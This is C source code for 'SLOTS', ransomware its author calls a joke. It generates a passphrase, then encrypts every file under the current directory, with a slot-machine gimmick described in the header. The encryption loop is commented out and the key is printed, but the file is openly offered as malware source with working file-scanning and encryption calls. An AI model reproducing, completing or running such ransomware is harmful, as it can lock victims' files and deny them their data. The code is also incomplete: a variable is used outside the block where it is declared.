/*** * SLOTS - Feelin' Lucky? * * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit * * */ #define _GNU_SOURCE #include "encryption.h" #include "search.h" #include "ll.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define PHRASESIZE 32 const char *argp_program_version = "Alpha-0.1"; const char *argp_program_bug_address = "@syxhe on Telegram (https://t.me/syxhe)"; static char doc[] = "lol"; static char argdoc[] = "lmao"; static struct argp_option options[] = { {.name = "passphrase", .key = 'p', .arg = "key", .flags = 0, .doc = "Specify passphrase for encryption/decryption", .group = 0}, {"decrypt", 'd', 0, 0, "Skip the slots minigame and immediately decrypt (or encrypt) files", 0}, {0} }; struct arguments { char *inputpass; int skipslots; }; static error_t parse_opt(int key, char *arg, struct argp_state *state) { struct arguments *args = state->input; switch(key) { case 'p': args->inputpass = arg; break; case 'd': args->skipslots = 1; break; default: return ARGP_ERR_UNKNOWN; } return 0; } static struct argp argp = {options, parse_opt, argdoc, doc, NULL, 0, 0}; int genphrase(char *phrase, size_t phrasesize) { memset(phrase, 0, phrasesize); for(size_t i = 0; i < phrasesize; i++) { phrase[i] = randombytes_uniform(('Z' - 'A') + 1) + 'A'; if(randombytes_random() > (0xffffffff / 2)) phrase[i] += ('a' - 'A'); } return 0; } int main(int argc, char *argv[]) { if(sodium_init() < 0) error(1, errno, "[VX-GAMBLEGROUND] Could not init sodium"); struct arguments args; args.inputpass = NULL; args.skipslots = 0; argp_parse(&argp, argc, argv, ARGP_NO_ARGS, 0, &args); if(args.inputpass != NULL) { if(strlen(args.inputpass) != PHRASESIZE) { error(1, 0, "Encryption passphrase must be exactly %d characters long", PHRASESIZE); } printf("Using input passphrase \"%s\"\n", args.inputpass); } else { char phrase[PHRASESIZE]; genphrase(phrase, PHRASESIZE); printf("Encryption phrase: %s\n\nWrite this phrase down EXACTLY if you want to recover your files\n", phrase); if(args.skipslots == 0) { printf("Hit Enter to contine, or CTRL+C to cancel..."); getchar(); } } /* Get files struct nodelist *files = scanfiles("./", alphasort); // Encrypt those files for(struct nodelist *p = files; p != NULL; p = p->next) { int fd = open(p->fullpath, O_RDWR); if(fd < 0) { error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); continue; } passencblock(fd, phrase); close(fd); } nodelist_delete(files); //*/ return 0; }